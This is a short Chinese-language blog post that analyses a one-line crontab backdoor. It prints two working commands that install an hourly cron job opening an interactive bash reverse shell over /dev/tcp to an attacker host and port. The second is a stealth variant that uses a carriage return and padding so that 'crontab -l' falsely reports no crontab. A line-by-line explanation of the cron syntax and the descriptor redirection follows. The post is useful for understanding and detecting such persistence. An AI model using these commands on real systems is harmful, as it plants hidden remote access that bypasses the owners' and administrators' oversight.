crontab一句话后门分析

正常版本

(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -


升级猥琐版本

(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

crontab -l直接提示no crontab 

 

分析:

echo '*/60 * * * *'

crontab格式 每隔60分钟执行一次

exec 9<>/dev/tcp/127.0.0.1/8888

以读写方式打开/dev/tcp,并指定服务器名为:127.0.0.1(攻击机) 端口号为:8888,指定描述符为9

要注意的是:/dev/tcp本身是不存在的,在/dev目录下是找不到的

exec 0<&9;exec 1>&9 2>&1;

linux 三个基本文件描述符 0:stdin 1:stdout 2:stderr

n >&m 表示使文件描述符n成为描述符m的副本

exec 0<&9;   将fd9从定向到标准输入;

exec 1>&9 2>&1;   将标准输出从定向到文件fd9,将标准错误从定向到标准输出.

简单的理解为fd9=fd0  fd1=fd9 所以我的理解是,fd9从标准输入读入字符,处理后结果用标准输出输出.

/bin/bash --noprofile -i

打开一个shell

附:shell后门脚本大全

posted @ 2018-12-05 11:24  he1m4n6a  阅读(1823)  评论(0编辑  收藏  举报